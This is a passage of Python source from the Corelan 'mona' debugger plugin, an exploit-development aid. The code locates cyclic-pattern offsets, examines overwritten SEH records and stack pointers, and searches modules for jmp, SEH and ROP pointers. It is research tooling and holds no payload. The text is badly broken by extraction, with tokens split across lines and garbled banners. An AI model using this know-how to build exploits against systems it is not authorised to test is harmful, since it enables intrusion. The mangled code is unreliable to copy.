pointers = searchInRange(searchPattern,0,TOP_USERLAND,criteria)
memory={}
if len(pointers) > 0:
for ptrtypes in pointers:
for ptr in pointers[ptrtypes]:
#get size
thissize = getPatternLength(ptr,pattype,
args)
if thissize > 0:
if not silent:
dbg.log("
Cyclic patt
ern (%s) found at 0x%s (length %d bytes)" % (pattype,toHex(ptr),thissize))
tofile += "
Cyclic pattern (%
s) found at 0x%s (length %d bytes)\n" % (pattype,toHex(ptr),thissize)
if not ptr in memory:
memory[ptr] = ([thissize
,pattype])
#get distance from ESP
if "ESP" in regs:
thisesp = regs["ESP"]
thisptr = MnPointer(ptr)
if thisptr.isOnStack():
if ptr > thisesp:
if not silent:
dbg.log(
"
- Stack pivot between %d & %d bytes needed to land in this pattern" % (ptr
-thisesp,ptr-thisesp+thissize))
tofile += "
Stack pivot between %d & %d bytes needed to land in this pattern\n" % (ptr-thi
sesp,ptr-thisesp+thissize)
if not "memory" in results:
results["memory"] = memory
#2. registers overwritten ?
if not silent:
dbg.log("[+] Examining registers")
registers = {}
registers_to = {}
for reg in regs:
for pattype in pattypes:
dbg.updateLog()
regpattern = fullpattern
hexpat = toHex(regs[reg])
hexpatr = hexpat
factor = 1
hexpat = toAscii(hexpat[6]+hexpat[7])+toAscii(hexpat[4]+
hexpat[5])+toAscii(hexpat[2]+hexpat[3])+toAscii(hexpat[0]+hexpat[1])
hexpatrev = toAscii(hexpatr[0]+hexpatr[1])+toAscii(hexpa
tr[2]+hexpatr[3])+toAscii(hexpatr[4]+hexpatr[5])+toAscii(hexpatr[6]+hexpatr[7])

if pattype == "upper":
regpattern = regpattern.upper()
if pattype == "lower":
regpattern = regpattern.lower()
if pattype == "unicode":
regpattern = toUnicode(regpattern)
factor = 0.5
offset = regpattern.find(hexpat)
if offset > -1:
if pattype == "unicode":
offset = offset * factor
if not silent:
dbg.log("
%s contains %s pattern : 0x
%s (offset %d)" % (reg,pattype,toHex(regs[reg]),offset))
tofile += "
%s contains %s pattern : 0x%s (of
fset %d)\n" % (reg,pattype,toHex(regs[reg]),offset)
if not reg in registers:
registers[reg] = ([regs[reg],offset,patt
ype])
else:
# maybe it's reversed ?
offset = regpattern.find(hexpatrev)
if offset > -1:
if pattype == "unicode":
offset = offset * factor
if not silent:
dbg.log("
%s contains %s patt
ern (reversed) : 0x%s (offset %d)" % (reg,pattype,toHex(regs[reg]),offset))
tofile += "
%s contains %s pattern (r
eversed) : 0x%s (offset %d)\n" % (reg,pattype,toHex(regs[reg]),offset)
if not reg in registers:
registers[reg] = ([regs[reg],off
set,pattype])
# maybe register points into cyclic pattern
mempat = ""
try:
mempat = dbg.readMemory(regs[reg],4)
except:
pass
if mempat != "":
if pattype == "normal":
regpattern = fullpattern
if pattype == "upper":
regpattern = fullpattern.upper()
if pattype == "lower":
regpattern = fullpattern.lower()
if pattype == "unicode":
mempat = dbg.readMemory(regs[reg],8)
mempat = mempat.replace('\x00','')
offset = regpattern.find(mempat)
if offset > -1:
thissize = getPatternLength(regs[reg],pa
ttype,args)
if thissize > 0:
if not silent:
dbg.log("

%s (0x%s) p

oints at offset %d in %s pattern (length %d)" % (reg,toHex(regs[reg]),offset,pat


type,thissize))
tofile += "
%s (0x%s) points
at offset %d in %s pattern (length %d)\n" % (reg,toHex(regs[reg]),offset,pattype
,thissize)
if not reg in registers_to:
registers_to[reg] = ([re
gs[reg],offset,thissize,pattype])
else:
registers_to[reg] = ([re
gs[reg],offset,thissize,pattype])
else:
# reversed ?
offset = regpattern.find(mempat[::-1])
if offset > -1:
thissize = getPatternLength(regs
[reg],pattype,args)
if thissize > 0:
if not silent:
dbg.log("
%s
(0x%s) points at offset %d in (reversed) %s pattern (length %d)" % (reg,toHex(re
gs[reg]),offset,pattype,thissize))
tofile += "
%s (0x%s)
points at offset %d in (reversed) %s pattern (length %d)\n" % (reg,toHex(regs[r
eg]),offset,pattype,thissize)
if not reg in registers_
to:
registers_to[reg
] = ([regs[reg],offset,thissize,pattype])
else:
registers_to[reg
] = ([regs[reg],offset,thissize,pattype])
if not "registers" in results:
results["registers"] = registers
if not "registers_to" in results:
results["registers_to"] = registers_to
#3. SEH record overwritten ?
seh = {}
if not silent:
dbg.log("[+] Examining SEH chain")
tofile += "[+] Examining SEH chain\r\n"
thissehchain=dbg.getSehChain()
for chainentry in thissehchain:
address = chainentry[0]
sehandler = chainentry[1]
nseh = 0
nsehvalue = 0
nsehascii = ""
try:
nsehascii = dbg.readMemory(address,4)
nsehvalue = struct.unpack('<L',nsehascii)[0]
nseh = "%08x" % nsehvalue
except:
nseh = 0
sehandler = 0
if nseh != 0 :

for pattype in pattypes:


dbg.updateLog()
regpattern = fullpattern
hexpat = nsehascii
factor = 1
takeout = 4
divide = 1
if pattype == "upper":
regpattern = regpattern.upper()
if pattype == "lower":
regpattern = regpattern.lower()
if pattype == "unicode":
#get next 4 bytes too
nsehascii = dbg.readMemory(address,8)
hexpat = nsehascii.replace('\x00','')
takeout = 0
divide = 2
offset = regpattern.find(hexpat)
thissize = 0
if offset > -1:
thepointer = MnPointer(chainentry[0])
if thepointer.isOnStack():
thissize = getPatternLength(addr
ess+4,pattype)
if thissize > 0:
thissize = (thissize - t
akeout)/divide
if not silent:
dbg.log("
SEH
record (nseh field) at 0x%s overwritten with %s pattern : 0x%s (offset %d), fol
lowed by %d bytes of cyclic data after the handler" % (toHex(chainentry[0]),patt
ype,nseh,offset,thissize))
tofile += "
SEH recor
d (nseh field) at 0x%s overwritten with %s pattern : 0x%s (offset %d), followed
by %d bytes of cyclic data after the handler\n" % (toHex(chainentry[0]),pattype,
nseh,offset,thissize)
if not chainentry[0]+4 i
n seh:
seh[chainentry[0
]+4] = ([chainentry[1],offset,pattype,thissize])
if not "seh" in results:
results["seh"] = seh
stack = {}
stackcontains = {}
#4. walking stack
if "ESP" in regs:
curresp = regs["ESP"]
if not silent:
if distance == 0:
extratxt = "(entire stack)"
else:
extratxt = "(+- "+str(distance)+" bytes)"
dbg.log("[+] Examining stack %s - looking for cyclic pat
tern" % extratxt)
tofile += "[+] Examining stack %s - looking for cyclic pattern\n
" % extratxt

# get stack this address belongs to


stacks = getStacks()
thisstackbase = 0
thisstacktop = 0
if distance < 1:
for tstack in stacks:
if (stacks[tstack][0] < curresp) and (curresp <
stacks[tstack][1]):
thisstackbase = stacks[tstack][0]
thisstacktop = stacks[tstack][1]
else:
thisstackbase = curresp - distance
thisstacktop = curresp + distance + 8
stackcounter = thisstackbase
sign=""
if not silent:
dbg.log("
Walking stack from 0x%s to 0x%s (0x%s bytes
)" % (toHex(stackcounter),toHex(thisstacktop-4),toHex(thisstacktop-4-stackcounte
r)))
tofile += "
Walking stack from 0x%s to 0x%s (0x%s bytes)\n" %
(toHex(stackcounter),toHex(thisstacktop-4),toHex(thisstacktop-4-stackcounter))
# stack contains part of a cyclic pattern ?
while stackcounter < thisstacktop-4:
espoffset = stackcounter - curresp
stepsize = 4
dbg.updateLog()
if espoffset > -1:
sign="+"
else:
sign="-"
cont = dbg.readMemory(stackcounter,4)
if len(cont) == 4:
contat = cont
if contat <> "":
for pattype in pattypes:
dbg.updateLog()
regpattern = fullpattern
hexpat = contat
if pattype == "upper":
regpattern = regpattern.
upper()
if pattype == "lower":
regpattern = regpattern.
lower()
if pattype == "unicode":
hexpat1 = dbg.readMemory
(stackcounter,4)
hexpat2 = dbg.readMemory
(stackcounter+4,4)
hexpat1 = hexpat1.replac
e('\x00','')

hexpat2 = hexpat2.replac
e('\x00','')
if hexpat1 == "" or hexp
at2 == "":
#no unicode
hexpat = ""
break
else:
hexpat = hexpat1
+ hexpat2
if len(hexpat) == 4:
offset = regpattern.find
(hexpat)
currptr = stackcounter
if offset > -1:
thissize = getPa
tternLength(currptr,pattype)
offsetvalue = in
t(str(espoffset).replace("-",""))
if thissize > 0:
stepsize
= thissize
if thiss
ize/4*4 != thissize:
stepsize = (thissize/4*4) + 4
# align
stack again
if not s
ilent:
espoff = 0
espsign = "+"
if ((stackcounter + thissize) >= curresp):
espoff = (stackcounter + thissize) - curresp
else:
espoff = curresp - (stackcounter + thissize)
espsign = "-"
dbg.log("
0x%s : Contains %s cyclic pattern at ESP%s0x%s (%s%s) : offset %d,
length %d (-> 0x%s : ESP%s0x%s)" % (toHex(stackcounter),pattype,sign,rmLeading(t
oHex(offsetvalue),"0"),sign,offsetvalue,offset,thissize,toHex(stackcounter+thiss
ize-1),espsign,rmLeading(toHex(espoff),"0")))
tofile +
= "
0x%s : Contains %s cyclic pattern at ESP%s0x%s (%s%s) : offset %d, length
%d (-> 0x%s : ESP%s0x%s)\n" % (toHex(stackcounter),pattype,sign,rmLeading(toHex
(offsetvalue),"0"),sign,offsetvalue,offset,thissize,toHex(stackcounter+thissize1),espsign,rmLeading(toHex(espoff),"0"))
if not c
urrptr in stackcontains:

stackcontains[currptr] = ([offsetvalue,sign,offset,thissize,pattype])
else:
#if we a
re close to ESP, change stepsize to 1
if offse
tvalue <= 256:
stepsize = 1
stackcounter += stepsize

# stack has pointer into cyclic pattern ?


if not silent:
if distance == 0:
extratxt = "(entire stack)"
else:
extratxt = "(+- "+str(distance)+" bytes)"
dbg.log("[+] Examining stack %s - looking for pointers t
o cyclic pattern" % extratxt)
tofile += "[+] Examining stack %s - looking for pointers to cycl
ic pattern\n" % extratxt
# get stack this address belongs to
stacks = getStacks()
thisstackbase = 0
thisstacktop = 0
if distance < 1:
for tstack in stacks:
if (stacks[tstack][0] < curresp) and (curresp <
stacks[tstack][1]):
thisstackbase = stacks[tstack][0]
thisstacktop = stacks[tstack][1]
else:
thisstackbase = curresp - distance
thisstacktop = curresp + distance + 8
stackcounter = thisstackbase
sign=""
if not silent:
dbg.log("
Walking stack from 0x%s to 0x%s (0x%s bytes
)" % (toHex(stackcounter),toHex(thisstacktop-4),toHex(thisstacktop-4-stackcounte
r)))
tofile += "
Walking stack from 0x%s to 0x%s (0x%s bytes)\n" %
(toHex(stackcounter),toHex(thisstacktop-4),toHex(thisstacktop-4-stackcounter))
while stackcounter < thisstacktop-4:
espoffset = stackcounter - curresp
dbg.updateLog()
if espoffset > -1:
sign="+"
else:
sign="-"
cont = dbg.readMemory(stackcounter,4)
if len(cont) == 4:
cval=""
for sbytes in cont:
tval = hex(ord(sbytes)).replace("0x","")

if len(tval) < 2:
tval="0"+tval
cval = tval+cval
try:
contat = dbg.readMemory(hexStrToInt(cval
),4)
except:
contat = ""
if contat <> "":
for pattype in pattypes:
dbg.updateLog()
regpattern = fullpattern
hexpat = contat
if pattype == "upper":
regpattern = regpattern.
upper()
if pattype == "lower":
regpattern = regpattern.
lower()
if pattype == "unicode":
hexpat1 = dbg.readMemory
(stackcounter,4)
hexpat2 = dbg.readMemory
(stackcounter+4,4)
hexpat1 = hexpat1.replac
e('\x00','')
hexpat2 = hexpat2.replac
e('\x00','')
if hexpat1 == "" or hexp
at2 == "":
#no unicode
hexpat = ""
break
else:
hexpat = hexpat1
+ hexpat2
if len(hexpat) == 4:
offset = regpattern.find
(hexpat)
currptr = hexStrToInt(cv
al)
if offset > -1:
thissize = getPa
tternLength(currptr,pattype)
if thissize > 0:
offsetva
lue = int(str(espoffset).replace("-",""))
if not s
ilent:
dbg.log("
0x%s : Pointer into %s cyclic pattern at ESP%s0x%s (%s%s) : 0x%s :
offset %d, length %d" % (toHex(stackcounter),pattype,sign,rmLeading(toHex(offset
value),"0"),sign,offsetvalue,toHex(currptr),offset,thissize))
tofile +
= "
0x%s : Pointer into %s cyclic pattern at ESP%s0x%s (%s%s) : 0x%s : offset

%d, length %d\n" % (toHex(stackcounter),pattype,sign,rmLeading(toHex(offsetvalu


e),"0"),sign,offsetvalue,toHex(currptr),offset,thissize)
if not c
urrptr in stack:
stack[currptr] = ([offsetvalue,sign,offset,thissize,pattype])
stackcounter += 4
else:
dbg.log("** Are you connected to an application ?",highlight=1)
if not "stack" in results:
results["stack"] = stack
if not "stackcontains" in results:
results["stackcontains"] = stack
if tofile != "":
objfindmspfile = MnLog("findmsp.txt")
findmspfile = objfindmspfile.reset()
objfindmspfile.write(tofile,findmspfile)
return results
#-----------------------------------------------------------------------#
# convert arguments to criteria
#-----------------------------------------------------------------------#
def args2criteria(args,modulecriteria,criteria):
thisversion,thisrevision = getVersionInfo(inspect.stack()[0][1])
thisversion = thisversion.replace("'","")
dbg.logLines("\n---------- Mona command started on %s (v%s, rev %s) ---------" % (datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),thisversion,thi
srevision))
dbg.log("[+] Processing arguments and criteria")
global ptr_to_get
# meets access level ?
criteria["accesslevel"] = "X"
if "x" in args :
if not args["x"].upper() in ["*","R","RW","RX","RWX","W","WX","X
"]:
dbg.log("invalid access level : %s" % args["x"], highlig
ht=1)
criteria["accesslevel"] = ""
else:
criteria["accesslevel"] = args["x"].upper()
dbg.log("

- Pointer access level : %s" % criteria["accesslevel"])

# query OS modules ?
if "o" in args and args["o"]:
modulecriteria["os"] = False
dbg.log("
- Ignoring OS modules")
# allow nulls ?
if "n" in args and args["n"]:
criteria["nonull"] = True
dbg.log("
- Ignoring pointers that have null bytes")

# override list of modules to query ?


if "m" in args:
if type(args["m"]).__name__.lower() <> "bool":
modulecriteria["modules"] = args["m"]
dbg.log("
- Only querying modules %s" % args["m"])
# limit nr of pointers to search ?
if "p" in args:
if str(args["p"]).lower() != "true":
ptr_to_get = int(args["p"].strip())
if ptr_to_get > 0:
dbg.log("
- Maximum nr of pointers to return : %d" %
ptr_to_get)
# only want to see specific type of pointers ?
if "cp" in args:
ptrcriteria = args["cp"].split(",")
for ptrcrit in ptrcriteria:
ptrcrit=ptrcrit.strip("'")
ptrcrit=ptrcrit.strip('"').lower().strip()
criteria[ptrcrit] = True
dbg.log("
- Pointer criteria : %s" % ptrcriteria)
if "cpb" in args:
badchars = args["cpb"]
badchars = badchars.replace("'","")
badchars = badchars.replace('"',"")
badchars = badchars.replace("\\x","")
# see if we need to expand ..
bpos = 0
newbadchars = ""
while bpos < len(badchars):
curchar = badchars[bpos]+badchars[bpos+1]
if curchar == "..":
pos = bpos
if pos > 1 and pos <= len(badchars)-4:
# get byte before and after ..
bytebefore = badchars[pos-2] + badchars[
pos-1]
byteafter = badchars[pos+2] + badchars[p
os+3]
bbefore = int(bytebefore,16)
bafter = int(byteafter,16)
insertbytes = ""
bbefore += 1
while bbefore < bafter:
insertbytes += "%02x" % bbefore
bbefore += 1
newbadchars += insertbytes
else:
newbadchars += curchar
bpos += 2
badchars = newbadchars
cnt = 0
strb = ""
while cnt < len(badchars):
strb=strb+binascii.a2b_hex(badchars[cnt]+badchars[cnt+1]
)
cnt=cnt+2
criteria["badchars"] = strb

dbg.log("
" % args["cpb"])

- Bad char filter will be applied to pointers : %s

if "cm" in args:
modcriteria = args["cm"].split(",")
for modcrit in modcriteria:
modcrit=modcrit.strip("'")
modcrit=modcrit.strip('"').lower().strip()
#each criterium has 1 or 2 parts : criteria=value
modcritparts = modcrit.split("=")
try:
if len(modcritparts) < 2:
# set to True, no value given
modulecriteria[modcritparts[0].strip()]
= True
else:
# read the value
modulecriteria[modcritparts[0].strip()]
= (modcritparts[1].strip() == "true")
except:
continue
if (inspect.stack()[1][3] == "procShowMODULES"):
modcriteria = args["cm"].split(",")
for modcrit in modcriteria:
modcrit=modcrit.strip("'")
modcrit=modcrit.strip('"').lower().strip()
if modcrit.startswith("+"):
modulecriteria[modcrit]=True
else:
modulecriteria[modcrit]=False
dbg.log("
- Module criteria : %s" % modcriteria)
return modulecriteria,criteria
#manage breakpoint on selected exported/imported functions from selected modules
def doManageBpOnFunc(modulecriteria,criteria,funcfilter,mode="add",type="export"
):
"""
Sets a breakpoint on selected exported/imported functions from selected
modules
Arguments :
modulecriteria - Dictionary
funcfilter - comma separated string indicating functions to set bp on
must contains "*" to select all functions
mode - "add" to create bp's, "del" to remove bp's
Returns : nothing
"""
type = type.lower()
namecrit = funcfilter.split(",")
if mode == "add" or mode == "del" or mode == "list":
if not silent:
dbg.log("[+] Enumerating %sed functions" % type)
modulestosearch = getModulesToQuery(modulecriteria)

bpfuncs = {}
for thismodule in modulestosearch:
if not silent:
dbg.log(" Querying module %s" % thismodule)
# get all
themod = dbg.getModule(thismodule)
tmod = MnModule(thismodule)
shortname = tmod.getShortName()
syms = themod.getSymbols()
# get funcs
funcs = {}
if type == "export":
funcs = tmod.getEAT()
else:
funcs = tmod.getIAT()
if not silent:
dbg.log(" Total nr of %sed functions : %d" % (
type,len(funcs)))
for func in funcs:
if meetsCriteria(MnPointer(func), criteria):
funcname = funcs[func].lower()
setbp = False
if "*" in namecrit:
setbp = True
else:
for crit in namecrit:
crit = crit.lower()
tcrit = crit.replace("*"
,"")
if (crit.startswith("*")
and crit.endswith("*")) or (crit.find("*") == -1):
if funcname.find
(tcrit) > -1:
setbp =
True
elif crit.startswith("*"
):
if funcname.ends
with(tcrit):
setbp =
True
elif crit.endswith("*"):
if funcname.star
tswith(tcrit):
setbp =
True
if setbp:
if type == "export":
if not func in bpfuncs:
bpfuncs[func] =
funcs[func]
else:
ptr = 0
try:
#read pointer of
imported function
ptr=struct.unpac
k('<L',dbg.readMemory(func,4))[0]

except:
pass
if ptr > 0:
if not ptr in bp
funcs:
bpfuncs[
ptr] = funcs[func]
if __DEBUGGERAPP__ == "WinDBG":
# let's do a few searches
for crit in namecrit:
if crit.find("*") == -1:
crit = "*" + crit + "*"
modsearch = "x %s!%s" % (shortname,crit)
output = dbg.nativeCommand(modsearch)
outputlines = output.split("\n")
for line in outputlines:
if line.replace(" ","") != "":
linefields = line.split(
" ")
if len(linefields) > 1:
ptr = hexStrToIn
t(linefields[0])
cnt = 1
while cnt < len(
linefields)-1:
if linef
ields[cnt] != "":
funcname = linefields[cnt]
break
cnt += 1
if not ptr in bp
funcs:
bpfuncs[
ptr] = funcname
if not silent:
dbg.log("[+] Total nr of breakpoints to process : %d" %
len(bpfuncs))
if len(bpfuncs) > 0:
for funcptr in bpfuncs:
if mode == "add":
dbg.log("Set bp at 0x%s (%s in %s)" % (t
oHex(funcptr),bpfuncs[funcptr],MnPointer(funcptr).belongsTo()))
try:
dbg.setBreakpoint(funcptr)
except:
dbg.log("Failed setting bp at 0x
%s" % toHex(funcptr))
elif mode == "del":
dbg.log("Remove bp at 0x%s (%s in %s)" %
(toHex(funcptr),bpfuncs[funcptr],MnPointer(funcptr).belongsTo()))
try:
dbg.deleteBreakpoint(funcptr)
except:
dbg.log("Skipped removal of bp a
t 0x%s" % toHex(funcptr))
elif mode == "list":
dbg.log("Match found at 0x%s (%s in %s)"

% (toHex(funcptr),bpfuncs[funcptr],MnPointer(funcptr).belongsTo()))
return
#-----------------------------------------------------------------------#
# main
#-----------------------------------------------------------------------#
def main(args):
dbg.createLogWindow()
global currentArgs
currentArgs = args
try:
starttime = datetime.datetime.now()
ptr_counter = 0
# initialize list of commands
commands = {}
# ----- HELP ----- #
def getBanner():
banners = {}
bannertext = ""
bannertext += "
|-----------------------------------------------------------------|\n"
bannertext += "
|
__
__
|\n"
bannertext += "
| _________ ________ / /___ _____
/ /____ ____ _____ ___ |\n"
bannertext += "
| / ___/ __ \/ ___/ _ \/ / __ `/ __
\ / __/ _ \/ __ `/ __ `__ \ |\n"
bannertext += "
| / /__/ /_/ / / / __/ / /_/ / / /
/ / /_/ __/ /_/ / / / / / / |\n"
bannertext += "
| \___/\____/_/ \___/_/\__,_/_/ /_/
\__/\___/\__,_/_/ /_/ /_/ |\n"
bannertext += "
|
|\n"
bannertext += "
|
https://www.corelan.be | ht
tp://redmine.corelan.be
|\n"
bannertext += "
|-----------------------------------------------------------------|\n"
banners[0] = bannertext
bannertext
bannertext
------------------------------|\n"
bannertext
_
_ __ _ _
|\n"
bannertext
` | | '_ \ | | | |
|\n"
bannertext
| | _ | |_) || |_| |
|\n"
bannertext
,_|(_)| .__/ \__, |
|\n"
bannertext
|_|
|___/
|\n"
bannertext
|\n"
bannertext
------------------------------|\n"

= ""
+= "

|------------------------------------

+= "

+= "

| '_ ` _ \ / _ \ | '_ \ / _

+= "

| | | | | || (_) || | | || (_

+= "

|_| |_| |_| \___/ |_| |_| \__

+= "

+= "

+= "

|------------------------------------

_ __ ___

___

_ __

__

banners[1] = bannertext
bannertext
bannertext
------------------------------|\n"
bannertext
|\n"
bannertext
|\n"
bannertext
https://www.corelan.be
|\n"
bannertext
http://redmine.corelan.be
|\n"
bannertext
#corelan (Freenode IRC)
|\n"
bannertext
|\n"
bannertext
------------------------------|\n"
banners[2]

= ""
+= "

|------------------------------------

+= "

+= "

_____ ___ ____ ____ ____ _

+= "

/ __ `__ \/ __ \/ __ \/ __ `/

+= "

+= "

| /_/ /_/ /_/\____/_/ /_/\__,_/

+= "

+= "

|------------------------------------

bannertext
bannertext
#........########..##....##\n"
bannertext
.......##.....##..##..##.\n"
bannertext
#......##.....##...####..\n"
bannertext
##.....########.....##...\n"
bannertext
##.....##...........##...\n"
bannertext
##.###.##...........##...\n"
bannertext
##.###.##...........##...\n\n"
banners[3]

= ""
+= "\n

/ / / / / / /_/ / / / / /_/ /

= bannertext
.##.....##..#######..##....##....##

+= "

.###...###.##.....##.###...##...##.##

+= "

.####.####.##.....##.####..##..##...#

+= "

.##.###.##.##.....##.##.##.##.##.....

+= "

.##.....##.##.....##.##..####.#######

+= "

.##.....##.##.....##.##...###.##.....

+= "

.##.....##..#######..##....##.##.....

= bannertext

# pick random banner


bannerlist = []
for i in range (0, len(banners)):
bannerlist.append(i)
random.shuffle(bannerlist)
return banners[bannerlist[0]]
def procHelp(args):
dbg.log("
'mona' - Exploit Development Swiss Army Kn
ife - %s (%sbit)" % (__DEBUGGERAPP__,str(arch)))
dbg.log("
Plugin version : %s r%s" % (__VERSION__,__
REV__))
if __DEBUGGERAPP__ == "WinDBG":
pykdversion = dbg.getPyKDVersionNr()
dbg.log("
PyKD version %s" % pykdversion)
dbg.log("
Written by Corelan - https://www.corelan.b
e")
dbg.log("
Project page : https://redmine.corelan.be/
projects/mona")

dbg.logLines(getBanner(),highlight=1)
dbg.log("Global options :")
dbg.log("----------------")
dbg.log("You can use one or more of the following global
options on any command that will perform")
dbg.log("a search in one or more modules, returning a li
st of pointers :")
dbg.log(" -n
: Skip modules that sta
rt with a null byte. If this is too broad, use")
dbg.log("
option -cm nonull ins
tead")
dbg.log(" -o
: Ignore OS modules")
dbg.log(" -p <nr>
: Stop search after <nr
> pointers.")
dbg.log(" -m <module,module,...> : only query the given
modules. Be sure what you are doing !")
dbg.log("
You can specify multi
ple modules (comma separated)")
dbg.log("
Tip : you can use -m
* to include all modules. All other module criteria will be ignored")
dbg.log("
Other wildcards : *bl
ah.dll = ends with blah.dll, blah* = starts with blah,")
dbg.log("
blah or *blah* = cont
ains blah")
dbg.log(" -cm <crit,crit,...>
: Apply some additional
criteria to the modules to query.")
dbg.log("
You can use one or mo
re of the following criteria :")
dbg.log("
aslr,safeseh,rebase,n
x,os")
dbg.log("
You can enable or dis
able a certain criterium by setting it to true or false")
dbg.log("
Example : -cm aslr=t
rue,safeseh=false")
dbg.log("
Suppose you want to s
earch for p/p/r in aslr enabled modules, you could call")
dbg.log("
!mona seh -cm aslr")
dbg.log(" -cp <crit,crit,...>
: Apply some criteria t
o the pointers to return")
dbg.log("
Available options are
:")
dbg.log("
unicode,ascii,asciipr
int,upper,lower,uppernum,lowernum,numeric,alphanum,nonull,startswithnull,unicode
rev")
dbg.log("
Note : Multiple crite
ria will be evaluated using 'AND', except if you are looking for unicode + one c
rit")
dbg.log(" -cpb '\\x00\\x01'
: Provide list with b
ad chars, applies to pointers")
dbg.log("
You can use .. to ind
icate a range of bytes (in between 2 bad chars)")
dbg.log(" -x <access>
: Specify desired acces
s level of the returning pointers. If not specified,")
dbg.log("
only executable point
ers will be return.")
dbg.log("
Access levels can be
one of the following values : R,W,X,RW,RX,WX,RWX or *")
if not args:
args = []

if len(args) > 1:
thiscmd = args[1].lower().strip()
if thiscmd in commands:
dbg.log("")
dbg.log("Usage of command '%s' :" % this
cmd)
dbg.log("%s" % ("-" * (22 + len(thiscmd)
)))
dbg.logLines(commands[thiscmd].usage)
dbg.log("")
else:
aliasfound = False
for cmd in commands:
if commands[cmd].alias == thiscm
d:
dbg.log("")
dbg.log("Usage of comman
d '%s' :" % thiscmd)
dbg.log("%s" % ("-" * (2
2 + len(thiscmd))))
dbg.logLines(commands[cm
d].usage)
dbg.log("")
aliasfound = True
if not aliasfound:
dbg.logLines("\nCommand %s does
not exist. Run !mona to get a list of available commands\n" % thiscmd,highlight=
1)
else:
dbg.logLines("\nUsage :")
dbg.logLines("-------\n")
dbg.log(" !mona <command> <parameter>")
dbg.logLines("\nAvailable commands and parameter
s :\n")
items = commands.items()
items.sort(key = itemgetter(0))
for item in items:
if commands[item[0]].usage <> "":
aliastxt = ""
if commands[item[0]].alias != ""
:
aliastxt = " / " + comma
nds[item[0]].alias
dbg.logLines("%s | %s" % (item[0
] + aliastxt + (" " * (20 - len(item[0]+aliastxt))), commands[item[0]].descripti
on))
dbg.log("")
dbg.log("Want more info about a given command ?
Run !mona help <command>",highlight=1)
dbg.log("")
commands["help"] = MnCommand("help", "show help", "!mona help [c
ommand]",procHelp)
# ----- Config file management ----- #
def procConfig(args):
#did we specify -get, -set or -add?
showerror = False

if not "set" in args and not "get" in args and not "add"
in args:
showerror = True
if "set" in args:
if type(args["set"]).__name__.lower() == "bool":
showerror = True
else:
#count nr of words
params = args["set"].split(" ")
if len(params) < 2:
showerror = True
if "add" in args:
if type(args["add"]).__name__.lower() == "bool":
showerror = True
else:
#count nr of words
params = args["add"].split(" ")
if len(params) < 2:
showerror = True
if "get" in args:
if type(args["get"]).__name__.lower() == "bool":
showerror = True
else:
#count nr of words
params = args["get"].split(" ")
if len(params) < 1:
showerror = True
if showerror:
dbg.log("Usage :")
dbg.logLines(configUsage,highlight=1)
return
else:
if "get" in args:
dbg.log("Reading value from configuratio
n file")
monaConfig = MnConfig()
thevalue = monaConfig.get(args["get"])
dbg.log("Parameter %s = %s" % (args["get
"],thevalue))
if "set" in args:
dbg.log("Writing value to configuration
file")
monaConfig = MnConfig()
value = args["set"].split(" ")
configparam = value[0].strip()
dbg.log("Old value of parameter %s = %s"
% (configparam,monaConfig.get(configparam)))
configvalue = args["set"][0+len(configpa
ram):len(args["set"])]
monaConfig.set(configparam,configvalue)
dbg.log("New value of parameter %s = %s"
% (configparam,configvalue))
if "add" in args:
dbg.log("Writing value to configuration
file")
monaConfig = MnConfig()
value = args["add"].split(" ")

configparam = value[0].strip()
dbg.log("Old value of parameter %s = %s"
% (configparam,monaConfig.get(configparam)))
configvalue = monaConfig.get(configparam
).strip() + "," + args["add"][0+len(configparam):len(args["add"])].strip()
monaConfig.set(configparam,configvalue)
dbg.log("New value of parameter %s = %s"
% (configparam,configvalue))
# ----- Jump to register ----- #
def procFindJ(args):
return procFindJMP(args)
def procFindJMP(args):
#default criteria
modulecriteria={}
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
if (inspect.stack()[1][3] == "procFindJ"):
dbg.log(" ** Note : command 'j' has been replace
d with 'jmp'. Now launching 'jmp' instead...",highlight=1)
criteria={}
all_opcodes={}
global ptr_to_get
ptr_to_get = -1
distancestr = ""
mindistance = 0
maxdistance = 0
#did user specify -r <reg> ?
showerror = False
if "r" in args:
if type(args["r"]).__name__.lower() == "bool":
showerror = True
else:
#valid register ?
thisreg = args["r"].upper().strip()
validregs = dbglib.Registers32BitsOrder
if not thisreg in validregs:
showerror = True
else:
showerror = True
if "distance" in args:
if type(args["distance"]).__name__.lower() == "b
ool":
showerror = True
else:
distancestr = args["distance"]
distanceparts = distancestr.split(",")
for parts in distanceparts:
valueparts = parts.split("=")
if len(valueparts) > 1:
if valueparts[0].lower()
== "min":

try:
mindista
nce = int(valueparts[1])
except:
mindista
nce = 0
if valueparts[0].lower()
== "max":
try:
maxdista
nce = int(valueparts[1])
except:
maxdista
nce = 0
if maxdistance < mindistance:
tmp = maxdistance
maxdistance = mindistance
mindistance = tmp
criteria["mindistance"] = mindistance
criteria["maxdistance"] = maxdistance
if showerror:
dbg.log("Usage :")
dbg.logLines(jmpUsage,highlight=1)
return
else:
modulecriteria,criteria = args2criteria(args,mod
ulecriteria,criteria)
# go for it !
all_opcodes=findJMP(modulecriteria,criteria,args
["r"].lower().strip())
# write to log
logfile = MnLog("jmp.txt")
thislog = logfile.reset()
processResults(all_opcodes,logfile,thislog)
# ----- Exception Handler Overwrites ----- #
def procFindSEH(args):
#default criteria
modulecriteria={}
modulecriteria["safeseh"] = False
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
criteria = {}
specialcases = {}
all_opcodes = {}
global ptr_to_get
ptr_to_get = -1
#what is the caller function (backwards compatibility wi
th pvefindaddr)

modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
if "rop" in args:
criteria["rop"] = True
if "all" in args:
criteria["all"] = True
specialcases["maponly"] = True
else:
criteria["all"] = False
specialcases["maponly"] = False
# go for it !
all_opcodes = findSEH(modulecriteria,criteria)
#report findings to log
logfile = MnLog("seh.txt")
thislog = logfile.reset()
processResults(all_opcodes,logfile,thislog,specialcases)

# ----- MODULES ------ #


def procShowMODULES(args):
modulecriteria={}
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
modulestosearch = getModulesToQuery(modulecriteria)
showModuleTable("",modulestosearch)
# ----- ROP ----- #
def procFindROPFUNC(args):
#default criteria
modulecriteria={}
modulecriteria["aslr"] = False
#modulecriteria["rebase"] = False
modulecriteria["os"] = False
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
ropfuncs = {}
ropfuncoffsets ={}
ropfuncs,ropfuncoffsets = findROPFUNC(modulecriteria,cri
